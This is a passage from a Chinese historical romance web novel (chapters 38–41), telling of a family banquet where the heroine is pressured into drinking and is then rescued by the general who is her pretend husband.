路过吵嚷的街市,赵温香故意压低声音侧身与柳善因张口提醒:“待会儿见了那位切记少言少语,不说不错,多说多错。这明摆着就是个鸿门宴,护军府高门大户虽不至于明面上把你个外人怎么着,但这些人不得不防,他们最擅长的就是在你最放松的时候,打背后捅你一刀。” 身为赵家长女,赵温香的处境,不必赵留行好上多少,她本也有像二姑一样飞出家门的机会。可她并不像他们般孑然一身,她有阿娘,有阿妹阿弟,有数不尽的牵挂缠身。 她拒绝了二姑的邀请,放弃了自由,但她不曾有一刻后悔过。 赵温香在记忆中缓缓睁眼。她听柳善因叫她放心,因为她别的不会,闭嘴这功夫却无人比她再是擅长…… 第38章 第38章心怀鬼胎 柳善因第一次站在这样巍峨的高门外,眼中写满迷惘,尽管门前的石阶有些斑驳,却牢牢记叙着赵家百年的兴旺。这就是赵赵将军的家吗?是他从小生活的地方…… 柳善因抬着下巴望啊望,愈发觉得自己渺小。 此刻,她就像一只长在山野的小小麻雀,被迫飞上梧桐树却寻不到个落脚的地方。 赵温香漠然站在柳善因身旁,与其一块抬眼去看,心下没有任何情绪,自打被伯府休后,她就好像重新回到了原地。她不会服输,就算在赵家这样的环境下,再嫁是她唯一的选择,她也一定会站到更高的枝头去。 “大娘,您回来了。”门内前来相迎的,是赵温香的陪嫁老嬷,也是老太太身边的旧人。 赵温香轻声问那人,“晴姐儿呢?” 老嬷垂眸言:“在老太太那陪老太太用饭呢,您可要过去把晴姐儿带过来?” 赵温香摇摇头,她当着使人的面,将孩子交到了老嬷手里,“去把老三的孩子抱到恭顺堂给老太太瞧瞧,叫老太太高兴高兴。还有那乳娘也跟着去——” 护军府的老太太腿上有疾,行动不便,常年深居后院不出。虽早不掌家中事,但余威犹在。若不是因为老太太看重长女,赵温香被休后也不会那么快被贺盈安接纳。 赵温香为确保小家伙安全,让柳善因安心,只能叫老嬷将孩子带到老太太那去。 可那些个唯贺盈安马首是瞻的使人,却依旧盯着她不放,吓得乳娘也不敢轻易上前。赵温香见状不由得冷笑,“愣着作甚?老太太的心意你们现在也敢违了?” 眼前大娘搬出老太太,使人们掂量掂量没有吭声。 赵温香趁机跟老嬷使了个颜色,“母亲要人就让她往老太太那去要,徐妈,把人带走。” 老嬷就这么明目张胆将人带离,柳善因慌着想要跟去,却被赵温香跟她偷偷摇头示意,柳善因别无选择,好在那边还有乳娘跟着,只得咽了这口气。 而后进了护军府,使人就不再怕柳善因逃跑,便也不再跟看犯人似的跟着她们,纷纷抬脚到那边复命去。 赵温香走进连廊望着那几个另人作呕的身影渐渐远行,转眸宽慰起柳善因,“莫担心,恭顺堂是这儿最太平的地儿。就是那位想过去造次,也得掂量掂量老太太的身体。” 越离眼前人要带自己去的那地越近,柳善因就越忐忑,她点头不语。 赵温香便没再多嘴- 饭厅下,五六张檀木桌摆着,坐人的却只有中间与旁边紧邻的那两张。甚至三房四房的,连个影子也无。 今日这宴摆明了就是冲着柳善因来的。 黄昏微微暗,使人们还没顾得上为主家点上灯盏。与赵温香前后穿过精巧的回廊,柳善因每搁几步便能踩上漏窗洒在地上的残阳,她一直垂着头,于心下一遍遍怪罪自己。 她怪自己总是这样彷徨,她怪自己为什么不能保护好身边的人,她怪自己又给赵留行添了麻烦……她怪来怪去,却始终没怪那些人分毫,可善良的人就是这样,总把刀子捅在自己身上。 赵温香没有回头,自然看不到女郎的哀伤,她似乎胸有成竹面对眼前这一切。 待到转角出现在众人面前时,赵温 香扬声唤了句:“母亲。” 半晌不曾抬眼的贺盈安闻言举目看向厅外的人,母女俩在对上眼神的一瞬,心照不宣。贺盈安收起那串被她盘得发亮的朱砂串,装作若无其事道:“去哪了?老四好不容易回趟娘家,就等你了。” 赵温香答曰:“让母亲挂心,女儿去了趟二姑家。” 贺盈安不说话,她挑眉看厅外人收放自如。 赵温香配合着她转眸将柳善因推了出来,“擅自做主把柳娘子和孩子接到府上来了。” 可不等贺盈安接茬,她那好儿子赵侃侃便瞠目大呼:“大姐,你什么意思!你不知母亲一心想促成表姐跟三哥的婚事,你这时候还把他们接过来,不是诚心气母亲吗!” 贺盈安依旧面无表情坐在原地,就好似这事与她半点关系也无,全然是眼前人的主意。她眯起双眼凝眸于柳善因,厉声问了句:“赵大娘,你叫她来做什么?” 虚假的面具戴的多了,就连赵温香自己也分不清真假。 只见她在贺盈安说出这句话后,赶忙虚情假意道:“母亲恕罪——女儿这不念及三郎自上次跟父亲闹成那样后,和家里的关系一直没缓和,实在放心不下就特意跑了二姑家一趟。” “女儿知晓三郎脾气倔,定是不肯轻易低头,所以不得已才前去劝说柳娘子……柳娘子也是个识大体的,她此番前来,也是真情实意求和,还望母亲千万莫要动怒。” 赵温香装模作样,说得众人都以为这回真是她多管了闲事,丝毫怀疑不到贺盈安头上。 柳善因站在原地,不知如何称呼座上人,只得鞠躬示意。 贺盈安对一切心知肚明,自是不可能为之恼怒。 只是她不语,闹得厅中人跟着惶然,他们知晓临芳长公主的脾气,怒时如山摇,静时似霜降。 赵温香则泰然垂目立在厅外等着接招。 直到许久之后,当那句低沉的,“该和解的是阿郎和老三,与本宫无关。可既然来了,就先坐吧。”自贺盈安口中说出,赵温香趁势抬头奉承了句,“母亲宽宏。”转眸便领着柳善因坐进了旁边的那张桌上。 只是众人不明缘何长公主今日如此淡定?如此宽宏大量? 但既然眼前人没有动怒,就已是大幸,没有人愿意去蹚那没有必要的浑水。 柳善因怯生生坐在赵温香身旁,屁股甚至不敢全部坐上凳面,周遭人递来的目光更是叫她如芒刺背。直到这一刻,她仍是没有猜出贺盈安今日这样兜着圈子将她带来,意欲何为。 对面坐着的赵四娘却在看了一眼贺盈安后,忽而开了口:“孩子呢?大姐不是说带了孩子过来?” 柳善因谨记着赵温香的话,闭口不答。 赵温香以为她是认生,便替其接过话茬:“抱去给老太太瞧了。” 赵四娘哦了一声,继续去瞟贺盈安,瞧着她也得了她的差使,就是不如赵温香办事妥帖,感觉再说几句就得露馅。贺盈安闻声扫了赵温香一眼,她的擅自做主,似是惹得她不悦。 但她还是装作事不关己的样子道是:“既然大娘回来了,就叫后头开餐吧。”- 席间,除去几个长辈闲谈家常,柳善因他们这桌可谓是一片死寂,桌上的人心怀鬼胎,哪里会安心用膳?赵四娘目的明显,从头到尾盯着柳善因不放,就为了见缝插针地问出那句…… 柳娘子来自哪里?口音听着不像本地人。 不成想,柳善因半晌竟一句话也不说,愣是不给她个出言的机会! 赵四娘急得不行,倘若贺盈安交代的事办不成,给自家夫君换差事的请求岂不泡汤?到时夫家怪罪下来,她还不得跟大姐一样被赶出门?她没大姐那能耐和脸皮,她必是不能沦落至此。 赵四娘咬咬牙,刚打算循序善诱,就被赵侃侃那没心肺的抢了先,“你不是洛阳人吧?吃过洛阳燕菜吗?知道这里头都有什么吗?” 赵侃侃趾高气昂。他对她们的计划一无所知,他只是单纯的嘲讽身边人。 但柳善因岂会回答他的问话? 今日就是亲爱的地姥娘娘来了,也别想撬开她的嘴巴! 于是乎,柳善因抬起头盯着赵侃侃看了又看,随便摇了摇头。 赵侃侃被人这般对待,不禁蹙起眉头,“怎么不说话啊?你不会说话?你该不会是个哑巴吧——那你跟三哥平常都是怎么交流的?手语比划吗?我三哥还会手语吗?” “这也太厉害了吧。” 赵侃侃在一旁“侃侃而谈”,弄得赵温香都快听不下去,她望着柳善因开始怀疑自己适才到底是如何跟交代,她似乎也并未说过少说话,便是装哑巴! 可柳善因应对这些人的办法,就是装聋作哑,反正她本来嘴就笨,如此任凭谁也无可奈何于她。 赵温香摇摇头,心想这一山还真是比一山高,她这么做也未尝不是个办法,就没去管她。哪成想,赵侃侃又继续口无遮拦道:“那孩子呢?你们的孩子会说话吗?再怎么说也是我三哥的孩子,我可不希望,呜……” 赵侃侃越说越不着调,赵温香无奈给他塞了一口团子,试图让他安静下来。 只是,赵侃侃是被噎得发不出声。 赵四娘却又打起了个新主意来,但瞧她倒了杯酒送在柳善因面前,“柳娘子总这么不理人,是想叫我们赵家跟你低头吗?你既然是来求和的,总要拿出些态度。来,把这三杯酒给殿下敬了,也叫我们瞧瞧你的诚意——” 赵四娘笑里藏刀,她道既然醒着问不出,那就让其酒后吐真言。 她就不信还套不出眼前人的话! 第39章 第39章酒后失言 四娘赵云香一句话把柳善因逼到了死角,丝毫没给她留转圜的余地。 柳善因盯着赵温香手里满的将要溢出的酒盏进退两难。 她根本不会饮酒,唯一一次饮酒还是去年得知嫂嫂怀孕的时候,她一高兴就跟阿兄讨了盏酒喝。没成想那晚过后,村里的狗见到她全都绕着走……也是自那之后,柳善因便再没碰过酒这东西了。 赵云香不知情,她瞧着眼前人一脸迟疑,继而逼近,“怎么?不肯喝?这就是柳娘子的诚意?” 柳善因摇摇头,怎么说当着赵赵将军家里人的面,她也不能显得太过失礼。 为了赵赵将军,她豁出去了! 说时迟那时快,柳善因没等赵云香话音落去,抬手拿过她手里的酒盏便咕咚咚一饮而尽,惊得在座之人皆冲她瞠目而望。 只是……辣辣,这酒好辣! 柳善因喝完盏中酒,把酒盏往桌上一搁,瞬间辣得变了表情。 她偷偷伸出舌头用手扇了两下,却都无济于事。 可赵云香压根没打算放过她,瞧她缓缓起身绕到柳善因身后,再一次将她面前的酒盏续满,“柳娘子好酒量,可敬酒只敬一盏如何能够?” 赵温香见状想要帮帮柳善因,但又不能过于明显,便只能开口说:“赵云香,差不多得了。母亲还没说话,何需你在这儿置喙?怎么说柳氏现在都是老三的人,你有些分寸。” “怎么大姐?你着急什么?怎么还替她说上话了?”赵云香白了赵温香一眼。 这二人非一母所出,早在闺中就不对付。赵温香瞧不上赵云香上赶着巴结贺盈安,赵云香看不起赵温香她娘的出身,所以姐妹俩说起话来,才这般针锋相对。 赵云香此刻有贺盈安在背地里撑腰,免不得与赵温香耀武扬威:“不就是让她敬母亲三盏酒吗?这有何不妥吗?母亲不说,是母亲气量大能容人,大姐干什么在这儿横叉一杠?” “喏,不若大姐你替她喝——” 赵 温香抬起头死死盯着得意忘形的赵云香不放,赵云香却一脸不屑,转手将酒盏朝她递去。 柳善因心思单纯,岂能叫眼前人替自己受过?一盏两盏酒于她而言已无甚差别,她喝就是了…… 于是乎,她便趁着酒意拍案起身,抢过赵云香递给赵温香的酒,冲那头的始作俑者扬声道:“夫人,晚辈敬您。” 贺盈安没抬头,柳善因却一盏接着一盏地将酒饮下,直到喝到第五盏,辣得她再也喝不下了。 柳善因才晕晕乎乎将倒酒的动作停下。 赵云香瞧着眼前人脸颊绯红,醉意上头,似是觉得时机成熟,她怕柳善因再喝下去,喝得不省人事,岂不白费工夫,便转而拿起她面前的酒壶假意道:“成了成了,心意到了就成了,柳娘子倒也不必这般实诚。坐,柳娘子快坐吧。” 柳善因眯着眼睛摇摇头,试图让自己清醒起来,却已然醉在酒中,此刻天地在她眼中倒转,旁边赵侃侃居然变出了两个脑袋。 柳善因装作无事,本想扶着桌案缓缓坐下,偏一个不小心坐在了地上,还正正好坐在了赵云香脚上。赵云香也算是咎由自取,只闻随着啊的一声惨叫,脚趾和脚面上的痛就钻进了她的心底。 柳善因这一屁股子坐得死,疼得赵云香半晌没缓过劲来。 赵温香瞧见她那龇牙咧嘴的模样,没忍住笑出声。 赵侃侃却是毫无遮掩地直接大声嘲笑:“啊哈哈哈,我说四姐,原以为你只会夹着嗓子说话,没成想,你嗓门也这么大。” 赵云香羞愤难当,狠狠将脚从柳善因的屁股下抽走,半晌气得说不话来。 柳善因却在哪里跌倒,就顺势在哪里坐了下。 赵温香见这人一直不起来,不由得弯下查看。 谁知桌下人这会儿抱膝而坐,埋头不语,身上还散发着阵阵酒气。她想她真是醉了,地上那么凉,竟然就那么一动也不动地坐着。她刚想抬手去碰刘涵宇,就被赵云香抢先一步蹲下。 赵云香想酒也劝,脚也被人坐了, 再不快问些正事努力真就白费了,不若趁热打铁,先下手为强。 “柳娘子,柳娘子?”赵云香伸手试探。 赵温香无奈起身望向外头越来越暗的天,她好似在等待着什么。 赵侃侃见状问她,“大姐,你瞧什么呢?” 赵温香瞟了眼赵侃侃,不屑道:“多事,跟你有什么关系。” 赵侃侃瘪瘪嘴,这家里同辈的也就眼前人和赵留行敢这样对待他。 既然不关他的事,赵侃侃只好低头去看地上的热闹。 只瞧柳善因听见赵云香唤她,依旧无动于衷抱膝坐在原地,赵云香不甘心,直到柳善因抬头看她,她才趁机不怀好意地张口说:“柳娘子,是吃醉酒了吗?” 柳善因不语,只一脸无辜地看着她。 赵云香不知其解,只能稍稍试探,“柳娘子,你不若先起身来?若是凉坏身子,家里人该心疼了。诶,端午将至,柳娘子来京这么久,也不想着回家看看吗?” 赵云香话锋突转,明眼人都知晓她打得什么主意,可柳善因迷迷糊糊哪能搞得清楚。 她只默默念了声:“回家……” 赵云香见眼前人有了反应,赶忙乘胜追击:“是也,回家!不知柳娘子的家在何处?与咱们这儿相隔多远,回家是否方便?若是不便,到时我可帮娘子你安排个妥帖的马夫,送你归去一程。” 赵云香每句话都在往柳善因身上引。 柳善因盯着眼前人有些重影的脑袋,噘嘴想了想,“我的家在何处?我的家……” 赵云香点点头,私以为胜利在望,没成想柳善因却忽而说了句叫她百思不得其解的话。 “我的家就在这儿啊……你看不到吗?”柳善因说罢伸手轻轻拍了拍自己的后背。 赵云香愁眉问:“什么?” 柳善因便开口跟她认真解释道:“什么什么啊?我一个小田螺,我的家不在背上,难道在脑袋上吗?” “……” 赵云香不敢置信地看着眼前人,她觉得眼前人根本没醉,她不过是趁机装醉跟自己装疯卖傻,好逃过她的追问。她凝视着看上去纯良无害的柳善因,心想这女人好深的城府,她是田螺? 她瞧她分明就是狡猾的田鼠—— 可柳善因冤枉,她现在醉醺醺的,实在是把自己当成了颗生活在稻田里的螺,不若她也不会蜷缩在桌下一动不动。上一遭醉酒,她便是错把自己当做一条猎狗,半夜吵着闹着要睡在邻居家的狗窝才肯罢休。 赵侃侃看热闹不嫌事大。他见四姐吃瘪,捧腹笑了半天,笑得赵云香没了面子,气急败坏把“小田螺”推在了一边,起身不再想搭理柳善因分毫。 柳善因被她这么一推,瘫坐在地上,似是缓过几分神来。 赵温香在赵家呆了几十年,还从未见过像今天这种情况,她下意识抬眼去看贺盈安愈渐难看的脸色,不禁暗道这丫头真是有趣,也真是厉害。 赵温香再次转眸瞧瞧外头的天,约摸着时辰差不多,就伸手去搀了桌下的人。 “来,坐回位置上吧……小田螺。” 小田螺,什么小田螺? 柳善因迷迷糊糊从桌下爬起身,虽然暂时忘记了自己“小田螺”的身份,但依旧醉得不知东南西北。她抬头一瞧见贺盈安,想起适才敬酒的事,居然又顺手端起面前的汤碗,朝贺盈安敬去。 甚至赵温香想拦,都没给拦下。 “夫人,晚辈…晚辈敬…祝您……祝您福如东海,早生贵子!” 此话一出,赵温香扶额不语,在场之人一个个想笑却不敢笑,眼瞧着都快憋出了内伤。唯独那“已生的贵子”满脸愕然,但听赵侃侃啊的声音,比赵云香还大,他张口便骂:“啊?臭丫头,你耍什么酒疯?!” 柳善因却在饮下那碗空气后,梆的一声将头磕在了桌案上,再没了动静。 “哈?你居然还装死!来人,给我取盆水来,把她给我浇醒——” 赵侃侃一向骄纵,他张口吩咐,使人赶忙转身照做。可赵侃侃先等到的不是一盆冷水,而是个身挎长刀,怒不可遏冲进府中的人。 赵留行申时接到消息,就跟勋卫那边告假往家赶。 怎料,等他到家后,见到的只是两个被锁在屋内的女使,柳善因和孩子早已不见了身影。 赵留行瞬间怒气上头,砸了困住长夏和土酥的锁,转头就奔向了护军府。 小园外,赵留行气势汹汹,步履匆匆,长刀撞在铁甲上的声音让人胆寒,使人们却还是尽力阻拦着,“三郎君,三郎君,您怎么不说一声就回来了?今天四娘子归家探亲,家里都是女眷,阿郎又不在家,您这样贸然过去是不是不太合乎礼仪。您容我通禀殿下一声,通禀一声便好。” 可他们做到这般,赵留行哪还有那样好的脾性,跟他们好好说话。瞧他利落抽出长刀,明晃晃照在使人脸上,跟着赫然将刀刃架上使人的肩,眼带杀意地沉声说:“滚开,想死,还是想活?” “想,想活……” 使人做出选择颤颤挪步,谁会想死呢? 赵留行见他做出选择,没再与之废话,恶狠狠拎着长刀没进昏暗的长廊,一刻未停向着灯火通明的饭厅奔去。 与此同时,饭厅这边提前偷跑过来报信的使人,神色慌张来到贺盈安面前如实相禀。 贺盈安闻声面色一变即刻回头质问:“废物,一群废物,他怎么来了?是谁通知他的!不是叫你们把那边的人都给看起来吗?” “是……是啊,奴是把她们都……”使人应声时肉眼可见的慌张。 贺盈安察觉不对转眸看向赵温香,未曾想…… 赵温香正挑眉将她相望。 第40章 第40章接你回家 贺盈安盯着赵温香看了半晌,她到底是低估了她的胆量,但毕竟她在暗,赵温香在明,贺盈安并不能因为此事追究赵温香分毫,可该结的仇,却在彼此的对视中悄然结下。 赵温香不惧,她明白今朝只要屈从一次,将来便是无尽的拿捏,所以她绝不低头。 厅堂的夜色很静,座前的灯火烧的很旺。 赵温香讳莫如深,她转过头好似听到刀剑划过地面的声响,众人也跟着抬眸望,一 直待到院中骤然泛起寒光,愕然声纷纷四起,“这阎王怎么来了……” 赵留行提刀奔赴,只为一人而来。 他的明光铠在烛火的照耀下,晃亮了众人污浊的眼,更照穿了他们虚伪的心。在场的人无不被他狠绝的模样恫吓,唯独赵温香松了口气,她敛下双眸故意起身离开了柳善因身旁。 赵留行眼下顾不上追究与质问,顺势登阶而上,把所有人的注目抛在脑后。 他只想确定自己找寻的人是否安然无恙。 赵留行急忙忙来到柳善因身旁,瞧见她醉倒在桌前的模样,瞬时被惶然填满眼眶,他蹲下身拍了拍柳善因烧红的脸蛋,褪去凶恶一遍遍温柔唤道:“小柳,小柳醒醒,你睁睁眼……” 柳善因糊涂不清,她听见有人叫她,却就是睁不开眼来。 将军垂目喘着粗气, 怒意随着女郎的沉默一点点疯涨。 赵留行一路风尘仆仆,不管不顾就是怕他们对柳善因做过分的事,结果还是来晚一步。赵家的人对他做什么,他可以忍耐,可以不反抗,但他们胆敢把主意打在柳善因身上,他的愤怒就再难消。 他不能辜负柳徽,更不能辜负善良的女郎,是他拉了柳善因下水,亦是他对不起她。 赵留行扶着长刀缓缓起身,张口时透着股与春日格格不入的肃杀。 他厉声问:“是谁给她灌的酒。” 话落无人应答,赵留行便淡然抚袍坐在赵温香腾出的空位上,继而开口:“我再问最后一遍,是谁?” 眼前人眉目间的压迫感,让围坐桌案的人惶恐对望,适才还嚣张不已的赵侃侃,这会儿竟是缩着脑袋当起了瘪嘴王八。可尽管如此,赵留行还是盯上了他,“小子,你说。” 听见三哥点他,赵侃侃吓得一激灵。 为了不引火上身,他只能背信弃义,速速将赵云香出卖,“与我无关,与我无关!是,是四姐!” 赵侃侃随手一指,恐惧就转移到了赵云香身上。 她瞪大眼睛看向出卖她的混球大呼,“赵侃侃你——” 可是赵侃侃卖她,她却不能同他一般出卖贺盈安。 赵云香只能硬着头皮为自己辩解,“三哥,怎么说是我灌酒呢?我只是叫她给母亲敬酒,何错之有啊?作为晚辈第一次跟长辈见面,难道不该敬杯酒吗?还有谁知道她敬酒就敬酒,竟然一连饮了好几杯把自己喝成这样。缘何能怪到我头上!你可不能听信老七的话,随便冤枉我啊。” 赵留行听着她无力的狡辩,依旧无动于衷,他只冷冰冰地说:“给她拿一壶新酒,我要看着她喝。” “三哥!你要作甚,我,我不会喝酒。” 赵云香急了眼,柳善因适才在她那受过的难,被赵留行原封不动还到了她的头上,她还试图逃避,“我可是你的亲妹妹啊!你怎么为了一个女人,这样对我!” “你不会喝,难不成她会?少废话,快喝。”赵留行凝视着眼前人,如同看个陌生人般没有丝毫情份可言。 赵云香知道今日碰上这阎王,若是不喝下这壶酒,自己是无论如何都跑不掉的,但她还是寄希望于她的“靠山”能帮帮她。谁成想,贺盈安稳坐那端,连看也没看她。 赵云香眼见无望,转头咬牙掀起壶盖,在赵留行的注视下将酒一股脑饮下。 可才半壶酒下肚,她就忍不住腹中翻涌,撇下酒壶,捂着嘴跑去院中吐了个一塌糊涂。 赵云香的颜面扫了地,赵留行暂时将目光从她身上移开。 可好巧不巧,那帮着赵侃侃去打水的使人,正巧错过了院中的好戏。他不知缘由地端着打来的井水走进了饭厅,赵侃侃一个劲地给他使眼色,他也没瞧见。 使人满头大汗立在一边,没眼色还想表功,“七郎君,您要的冷水来了,是要泼谁?奴才给您代劳。” 赵留行看透一切,冷笑一声望向赵侃侃。 赵侃侃两眼一黑,悬着的心彻底死了,蠢货,是要害死他吗?使人转过眸,这才瞧见旁边坐着的人,他梗着脖子刚想溜走,就被赵留行沉声喝止:“站住,把水盆放下。” 赵侃侃听见赵留行这么说,瞬间慌了神。 使人进退维谷。 这两个郎君,他是哪个也得罪不起,最后也只能在赵留行的淫威下顺从,乖乖将水盆搁下。彼之水面倒映出赵侃侃惶然的脸,他硬着头皮唤了声:“三哥哥…我……” 赵留行却二话没说,掐着赵侃侃的后脖将人按进了冰冷的水里,叫这顽劣的混小子好好清醒清醒。 赵留行报复赵云香,贺盈安暂且能做到熟视无睹,但欺负自己捧在掌心的贵子,她便不能再旁观下去。 贺盈安当即拍了案,大骂赵留行:“你究竟要胡闹到什么时候!你别以为你爹不在,你就能在这儿为所欲为。” 赵侃侃在水里咕嘟咕嘟直冒泡。赵留行按着他的手松了几分,赵侃侃趁势起身呼叫,“母亲救我……”可赵留行却似故意般,在手中人说完这句话后,又将其狠狠摁下。 他挑眉望向贺盈安强势道,“谁准你把小柳带到这儿来的。” 贺盈安看着儿子受难,捏起手里的朱砂串怒然相望,“把我儿放了。” 赵留行不听,单是重复,“谁准你把小柳带到这儿来的。” 贺盈安气急败坏,终是露出狠相起身应道:“混账!这是护军府,不是你撒野的地方!今日分明是这丫头自己死乞白赖登门拜访,你缘何能怨在本宫头上?不知好歹的东西,滚,带着你的人一起滚出护军府——别在本宫面前碍眼。还有你们,还愣着做什么?去,去把七郎给本宫救回来。” 贺盈安倒打一耙,赵留行自是不会信她的鬼话。 使人得了吩咐,也不敢怠慢,赶忙上前准备从他手里夺人。 怎料赵留行却陡然将手一松,将人放了去。赵侃侃抬起湿漉漉的脑袋大口喘气,可大抵是怕眼前人再对自己做什么,他竟顺势躺在地上开始装死。使人见长公主的独子倒地,顿时乱做一团,咋呼着上前查看。 柳善因却在混乱里迷迷糊糊爬起身来。 赵留行察觉到她抬头,即刻回身去看,“小柳,你终于醒了,有没有哪不舒服?” “……” 柳善因望着眼前这身穿战袍的人,陷入沉默。 赵留行有些担忧抬手拢起了她的肩,想要瞧瞧眼前人到底有没有事,没成想她却在与他对视后,忽而泪意盈盈地冲他唤了声:“哥哥。” 周遭的人,没有因为这声称谓而起疑。但只有赵留行知晓,柳善因把他认作了谁…… 柳善因的酒意未消,眼睛里分不清虚实。 可她却永远记得阿兄穿上戎装时的威武模样,思念冲破时间来到她的身旁,叫她忘却了现实的忧伤,她茫茫然望着赵留行声声切切道:“哥哥,真的是你吗?你从北庭回来了?是来接小柳回家吗?” 赵留行看着女郎这副可怜相,登时如鲠在喉,扶着她的手也跟着僵硬。 他的所有恶与狠,皆是对别有用心的人。当面对起柳善因,他总是那样于心不忍,更不知该如何接茬,他只能配合着她沉声说:“是,是我,我来接小柳回家。” “真的吗……” 一句回家,让醉酒的女郎泪如雨下。 柳善因心中又太多难以言说的痛苦,皆在这一刻爆发,她把赵留行当做柳徽,依旧如孩童时躲去阿兄怀中哭诉,向前扑进了赵留行温暖的怀抱,她将滚烫的泪滴落上赵留行冰冷的铠甲,“可是哥哥,家没了,咱们再也回不去了。” 赵留行被女郎的动作弄得一愣,他二人还从未像今天这样拥抱过,他也从未抱过别的女郎,难免有些拘谨,可很快他便当着众人的面轻轻拍了拍柳善因的后背,沉声道了句:“没关系的小柳,有我在,你就永远有家。” 他说话算话。【你现在阅读的是魔蝎小说 moxiexs】 40-50 第41章 第41章开始心动 柳善因靠在赵留行怀中不语,赵留行重新拢起她的肩,小声念道:“走了小柳,咱们回家。” 柳 善因迷迷糊糊点头,起身要跟他走。 赵留行随之佩回长刀定睛望向贺盈安,贺盈安亦怒视着他的眼睛,听他冲自己抛下一句:“不许再靠近她半步,不若我便不知下一次,老七还会不会有这么好的运气装死,你好自为之。” 赵留行放了狠话,警告了眼前的始作俑者。 贺盈安偏依旧泰然稳坐案前,她眯起眼睛,或许别人察觉不出那女郎的话有何不妥,但她别有用心,一眼便看穿其中。贺盈安的目的达到了,眼前人说什么做什么也都不重要了,她可以放任他们离开了。 柳善因跟着赵留行晃晃悠悠出了饭厅。 赵留行怕她摔倒,伸手二话不说宛若扛沙包般将轻盈的女郎扛上了肩,大摇大摆朝府外走去。 只是柳善因醉着,他也好像忘了些什么。还好站在是非边缘的赵温香,在扫视过眼前的混乱,与他们扬长而去的背影后,悄悄溜出了饭厅,急匆匆朝后院行去- 府门外,赵留行刚把柳善因横放上马背,长夏就带着表哥赶了过来。 她远远唤了声:“三郎君。” 赵留行蓦然回首,长夏已跳下马车冲他跑了过来,待到瞧见马上醉气熏天的柳善因,她忍不住惊讶道:“天呢,他们对夫人做了什么?怎么醉成这副模样?” 赵留行没解释,他只问她,“你们来作甚?” 长夏回过头,“我不放心,就跑去找表哥让他带我过来瞧瞧,看看有没有什么能帮上忙的。三郎君,您把夫人放去马车上吧,那样舒服些。若是跟您这样在马背上颠簸,约摸着夫人得吐上一路。” 吐一路?那可不行! 赵留行想起那画面便摇摇头,他觉得长夏说得有理,转手就将人从马背上扛了下来。 柳善因就这么被眼前人扛来扛去,最终安定在马车上。 长夏看着赵留行与柳善因两个人折腾来去,却丝毫未见小郎君和乳娘的影子,忍不住张口追问:“诶?郎君,小郎君呢?你们没在一起吗?” 听见长夏这么说,赵留行这才反应过来,自己把小的给忘了。他赶忙伸手拍了拍柳善因,试图将柳善因唤醒,“小柳醒醒,小宝呢?小宝是不是与你一起来的?” “小宝……” 柳善因趴在马车外的车架上哼唧两声,却说不出个囫囵话。赵留行无奈,他转身刚想回去要人,赵温香的老嬷就领着乳娘和孩子匆匆赶来。 老嬷瞧见赵留行一脸焦急,赶忙上前言语:“三郎君莫急,孩子在这儿。” 赵留行举目望见老嬷身后熟睡在乳娘怀里的娃娃,总算松了口气,他在确认小家伙无碍后,帮着乳娘和柳善因登了马车。等到回望去车边半晌不曾离开的老嬷,他沉声问:“还有事?” 老嬷站定在马车前,垂下双目,将赵温香交代给自己的话如实转述:“三郎君,大娘叫我跟您带句话,有些事不是她能左右的,她本无害人之心,却要为自己做打算,还望你莫要怪罪。” 赵留行默而无言。 今朝去北郊送信的是个闲汉,他起初以为是长夏或者土酥差人送的信,可等回家瞧见二人被困,他便觉得纳闷,还有谁能这般好心?等听到眼前人这般说,他才恍然原是赵温香的主意。 他与这大姐本无甚交情,不过是小时候在一众兄弟姐妹中,就她一人没对自己冷嘲热讽过而已。 所以赵温香在他眼中算不得坏,亦算不上好。 只能说是不夷不惠。 赵留行抬眼看了看幽深的府门,里头依旧和往日般冰冷,没有人气。他张开口想要说些什么,最后出声时也只变成一句:“回去跟大姐说,我欠她个人情。” 眼前人的话表明了他的态度,老嬷安下心再次躬身应了声:“是,这些话,我一定替三郎君带到。天色已晚,三郎君路上慢行。” 赵留行没应,转身就要登车而上,却被长夏一把拦住。 赵留行茫然抬头,听眼前人给他发号施令,“诶!诶,诶三郎君,您还上车做什么呀?这车本就是来接夫人和小郎君的。您不是骑马来的?您骑马回去吧!” “不是我…还有她那个……”赵留行一头雾水。 长夏偏一个劲把人往外推,“哎呀,您别担心,我和乳娘会照顾好夫人的,车厢太小根本坐不下我们那么多人。再说了,咱们里面只有您一人会骑马,您不骑马,那马怎么办啊!总不能扔在这大街上吧!您就委屈委屈跟夫人分别一会儿没什么的,一会儿便到家了。” 赵留行被她的喋喋不休弄得愣然,迷迷糊糊就离开了马车。 长夏趁势跟表哥言语:“驾,快驾——” 等他再反应过来,人家早就撇下他扬长而去。 走,就走了? 适才那凶神恶煞闯进府中的人,此刻被人“抛弃”回眸看了眼老嬷,尴尬不语,老嬷看清其在家中的地位不由得眯眼笑起,赵留行见状赶忙躲闪开老嬷的目光,沉默着打马追去- 归家的时候,大抵戌时堪过。 那载人马车岂能跟去不归那样的烈马相比?赵留行到门外足足等了一刻多钟,才瞧见长夏表哥的马车缓缓驶进这边的街道。 待马车停稳,乳娘先抱着小家伙下了车,“郎君,小郎君该喂了,我先进去了。” 赵留行点点头,没说什么。 车那边便紧跟着传出了长夏的声音:“三郎君,快,快帮帮忙——” 赵留行闻言冷哼,心想这会儿用得着他了?他不想理,可她身上架着的又不是别人……他也只得老老实实上前去接,只是赵留行才刚在车下张开手臂,柳善因就从车上跌向了他。 赵留行动作麻利,一把撑起女郎跌落的身体。 谁成想下一秒女郎竟环住他的脖颈,抬腿跳到了他的身上去。他似是怕女郎掉落,条件反射抱住了女郎挂在自己腰间的腿。就这么,柳善因扒在了赵留行身上,赵留行也稳稳抱住了怀里的人。 这一气呵成的动作,叫车上探头的长夏瞧去,是止不住地笑。 柳善因把脑袋乖乖搁在赵留行肩头,继续错把眼前人认作是亲爱的阿兄,柳徽从前总这么背她,只不过赵留行“背”错了面,应该是后背才对。 彼之,赵留行抱着怀中人僵在原地。 他只抱过孩子,哪里抱过女孩子?这春日里衣衫单薄前胸贴前胸,掌心贴大腿的!也太过亲近……他们只是对假夫妻,哪成体统! 赵留行虽是个大男人,却亦有羞耻心。 他觉得不妥,更怕柳徽怪他,可眼下能把柳善因弄回屋去的,只他一人而已,长夏也在旁跟着起哄,“三郎君,夫人就交给您了,我去表哥家拿点东西,一会儿回来!” 话落,表哥挥鞭,带着长夏速速离去。 空荡的家门外,独剩下他个抱着媳妇的人夫而已。 赵留行无可奈何,只得抬手将柳善因往身上丢了丢,硬着头皮进门而去。 